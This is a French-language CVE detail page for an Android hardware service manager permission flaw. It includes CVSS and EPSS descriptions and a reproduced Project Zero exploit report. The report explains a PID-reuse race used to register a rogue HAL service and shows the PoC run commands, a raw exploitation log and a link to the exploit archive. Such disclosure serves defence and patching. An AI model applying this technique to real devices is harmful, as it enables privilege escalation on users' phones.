CVE-2019-2023 : Détail

CVE-2019-2023

7.8
/
Haute
0.22%V4
Local
2019-06-19
18h05 +00:00
2019-06-19
18h05 +00:00
CVE.org
NVD
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Descriptions du CVE

In ServiceManager::add function in the hardware service manager, there is an insecure permissions check based on the PID of the caller. This could allow an app to add or replace a HAL service with its own service, gaining code execution in a privileged process.Product: AndroidVersions: Android-8.0 Android-8.1 Android-9Android ID: A-121035042Upstream kernel

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-732 Incorrect Permission Assignment for Critical Resource
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 46504

Date de publication : 2019-03-05 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

We already reported four bugs in Android that are caused by the use of getpidcon(), which is fundamentally unsafe: https://bugs.chromium.org/p/project-zero/issues/detail?id=727 (AndroidID-27111481; unexploitable) https://bugs.chromium.org/p/project-zero/issues/detail?id=851 (AndroidID-29431260; getpidcon() used in the servicemanager) https://bugs.chromium.org/p/project-zero/issues/detail?id=1404 (AndroidID-68217907; getpidcon() used in the hardware service manager) https://bugs.chromium.org/p/project-zero/issues/detail?id=1406 (AndroidID-68217699; getpidcon() used in the keystore) The bulletin entry for bug 1404 (in https://source.android.com/security/bulletin/2018-01-01#system) points to the following three commits: https://android.googlesource.com/platform/system/libhidl/+/a4d0252ab5b6f6cc52a221538e1536c5b55c1fa7 "canCastInterface: always return true for IBase" I'm not sure how this relates to the bug. https://android.googlesource.com/platform/system/tools/hidl/+/8539fc8ac94d5c92ef9df33675844ab294f68d61 "Explicitly check processes are oneway" Ensures that the caller PID isn't passed as zero. This addresses a second issue that was mentioned in the bug report, but doesn't address the core issue. https://android.googlesource.com/platform/system/hwservicemanager/+/e1b4a889e8b84f5c13b76333d4de90dbe102a0de "get selinux context on add call arrival." "interfaceChain may take too long and allow for the PID to become invalidated." This seems to be the patch that is intended to fix the core bug - but all it does is to reduce the size of the race window, it does not address the actual issue. Overall, it looks like this vulnerability was not actually fixed. A patch that merely reduces the size of a race window without eliminating it is, in my opinion, not a valid fix for security issues that impact confidentiality or integrity. (The situation in the classic servicemanager seems to be similar, except that it has additional checks that very coarsely mitigate this class of issues based on caller UIDs.) In my opinion, a proper fix should include tracking of caller SELinux contexts, perhaps with context information pulled from the kernel on demand when needed. I think you could e.g. implement this by stashing a refcounted pointer to the caller's credentials in the struct binder_buffer in binder_transaction(), like this: t->buffer->caller_cred = get_current_cred(); And then add a new ioctl to the binder device for looking up the SELinux context associated with a transaction, somewhat similar to SO_PEERSEC: Take the alloc mutex, look up the allocation for the provided userspace pointer, ensure that it is user-freeable, take a reference to its creds, and drop the mutex. If for some reason, this still has too much overhead, you could also gate it on opt-in by the receiving binder, similar to FLAT_BINDER_FLAG_ACCEPTS_FDS. To demonstrate that this issue can indeed still be triggered, I have written a PoC for the Pixel 2 (walleye), running build "google/walleye/walleye:9/PQ1A.181205.002/5086253:user/release-keys" (patch level "2018-12-05") that can register a second instance of "android.hidl.manager@1.0::IServiceManager" with instance name "bogusbogusbogus". Running it: ===================================================================== $ ./compile.sh && adb push master /data/local/tmp/ && adb shell /data/local/tmp/master master: 1 file pushed. 12.6 MB/s (687184 bytes in 0.052s) hexdump(0x7fc41de528, 0x50) 00000000 00 01 00 00 1a 00 00 00 61 00 6e 00 64 00 72 00 |........a.n.d.r.| 00000010 6f 00 69 00 64 00 2e 00 6f 00 73 00 2e 00 49 00 |o.i.d...o.s...I.| 00000020 53 00 65 00 72 00 76 00 69 00 63 00 65 00 4d 00 |S.e.r.v.i.c.e.M.| 00000030 61 00 6e 00 61 00 67 00 65 00 72 00 00 00 00 00 |a.n.a.g.e.r.....| 00000040 05 00 00 00 61 00 75 00 64 00 69 00 6f 00 00 00 |....a.u.d.i.o...| BR_NOOP: BR_TRANSACTION_COMPLETE: BR_REPLY: target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000 pid 0 uid 1000 data 24 offs 8 hexdump(0x7ae2539000, 0x18) 00000000 85 2a 68 73 7f 01 00 00 01 00 00 00 00 00 00 00 |.*hs............| 00000010 00 00 00 00 00 00 00 00 |........| - type 73682a85 flags 0000017f ptr 0000000000000001 cookie 0000000000000000 binder_done: freeing buffer binder_done: free done got audio_handle: 0x1 hexdump(0x7fc41df648, 0x40) 00000000 00 01 00 00 1b 00 00 00 61 00 6e 00 64 00 72 00 |........a.n.d.r.| 00000010 6f 00 69 00 64 00 2e 00 6d 00 65 00 64 00 69 00 |o.i.d...m.e.d.i.| 00000020 61 00 2e 00 49 00 41 00 75 00 64 00 69 00 6f 00 |a...I.A.u.d.i.o.| 00000030 53 00 65 00 72 00 76 00 69 00 63 00 65 00 00 00 |S.e.r.v.i.c.e...| BR_NOOP: BR_TRANSACTION_COMPLETE: BR_REPLY: target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000 pid 0 uid 1000 data 0 offs 0 hexdump(0x7ae2539000, 0x0) binder_done: freeing buffer binder_done: free done thread_spawner ready to transact spam done ready for delay... 14736 forking master... 14737 forking... entering child: 14738 pre-cycling... cycle target is 14737 first unused preceding pid is 13325 (3/No such process) PIDs should be cycled now... starting delay... starting register transaction hexdump(0x7ae2537f80, 0x94) 00000000 61 6e 64 72 6f 69 64 2e 68 69 64 6c 2e 6d 61 6e |android.hidl.man| 00000010 61 67 65 72 40 31 2e 30 3a 3a 49 53 65 72 76 69 |ager@1.0::IServi| 00000020 63 65 4d 61 6e 61 67 65 72 00 00 00 85 2a 74 70 |ceManager....*tp| 00000030 00 00 00 00 48 7f 53 e2 7a 00 00 00 10 00 00 00 |....H.S.z.......| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000050 00 00 00 00 85 2a 74 70 01 00 00 00 60 4f 46 00 |.....*tp....`OF.| 00000060 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 |................| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 85 2a 62 73 |.............*bs| 00000080 7f 01 00 00 01 00 00 00 00 00 00 00 00 00 00 00 |................| 00000090 00 00 00 00 |....| BR_NOOP: BR_INCREFS: 0x7ae2537e18, 0x7ae2537e20 BR_ACQUIRE: 0x7ae2537e2c, 0x7ae2537e34 BR_TRANSACTION_COMPLETE: owner of to-be-reused PID 14737 is quitting now BR_NOOP: thread_spawner transacting now hexdump(0x7fc41df648, 0x40) 00000000 00 01 00 00 1b 00 00 00 61 00 6e 00 64 00 72 00 |........a.n.d.r.| 00000010 6f 00 69 00 64 00 2e 00 6d 00 65 00 64 00 69 00 |o.i.d...m.e.d.i.| 00000020 61 00 2e 00 49 00 41 00 75 00 64 00 69 00 6f 00 |a...I.A.u.d.i.o.| 00000030 53 00 65 00 72 00 76 00 69 00 63 00 65 00 00 00 |S.e.r.v.i.c.e...| BR_NOOP: BR_TRANSACTION_COMPLETE: BR_REPLY: target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000 pid 0 uid 1000 data 8 offs 0 hexdump(0x7ae2539000, 0x8) 00000000 00 00 00 00 00 00 00 00 |........| binder_done: freeing buffer binder_done: free done pid 12645 quit: exit(0) got delay: 017664533478 SSSMMMUUUNNN BR_NOOP: BR_TRANSACTION: target 0000000000000001 cookie 0000000000000000 code 0f43484e flags 00000010 pid 588 uid 1000 data 32 offs 0 hexdump(0x7ae2539000, 0x20) 00000000 61 6e 64 72 6f 69 64 2e 68 69 64 6c 2e 62 61 73 |android.hidl.bas| 00000010 65 40 31 2e 30 3a 3a 49 42 61 73 65 00 00 00 00 |e@1.0::IBase....| got binder call binder_send_reply(status=0) offsets=0x7ae2537c88, offsets_size=32 BR_NOOP: BR_TRANSACTION_COMPLETE: BR_NOOP: BR_REPLY: target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000 pid 0 uid 1000 data 8 offs 0 hexdump(0x7ae2539000, 0x8) 00000000 00 00 00 00 01 00 00 00 |........| binder_done: freeing buffer binder_done: free done REGISTRATION OVER pid 12644 quit: exit(0) ===================================================================== Note: It will probably take a few minutes when you run it the first time because it has to create a 16GB file on disk. Once the PoC has printed "REGISTRATION OVER", the bogus hardware service should have been registered. The PoC will keep running to keep the bogus service alive. At this point, you can check whether it worked: ===================================================================== walleye:/ $ getprop ro.build.fingerprint google/walleye/walleye:9/PQ1A.181205.002/5086253:user/release-keys walleye:/ $ lshal 2>/dev/null | grep ISensorManager android.frameworks.sensorservice@1.0::ISensorManager/bogusbogusbogus N/A N/A android.frameworks.sensorservice@1.0::ISensorManager/default N/A N/A walleye:/ $ ===================================================================== Some detail on how the PoC works: master.c coordinates execution. register.c takes care of setting up two processes that share memory mappings, wrapping the PID counter, registering a service and relinquishing the PID at the right time. thread_spawner.c uses the unloadSoundEffects() and loadSoundEffects() RPC calls on android.media.IAudioService to create a thread in system_server, reusing the PID relinquished by register.c. reload_timer.c stalls slowpath lookups of entries in /proc for ~15 seconds by abusing that Linux 4.4's sys_getdents64() exclusively locks the inode across the entire readdir operation, including all usercopy accesses, combined with a series of uncached 4k file mappings and a lack of priority inheritance in kernel mutexes. Stalling slowpath lookups of /proc entries causes getpidcon() to block on opening /proc/$pid/attr/current. See also the attached timing diagram. Oh, by the way, something else that I'm not actually using here, and that doesn't really have any direct security impact, but that looks unintended: /dev/binder sets the VM_DONTCOPY flag on the VMA, but because it doesn't also set VM_IO, it is possible to use madvise(..., MADV_DOFORK) to clear that flag: case MADV_DOFORK: if (vma->vm_flags & VM_IO) { error = -EINVAL; goto out; } new_flags &= ~VM_DONTCOPY; break; Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46504.zip

Products Mentioned

Configuraton 0

Google>>Android >> Version 8.0

Google>>Android >> Version 8.1

Google>>Android >> Version 9.0

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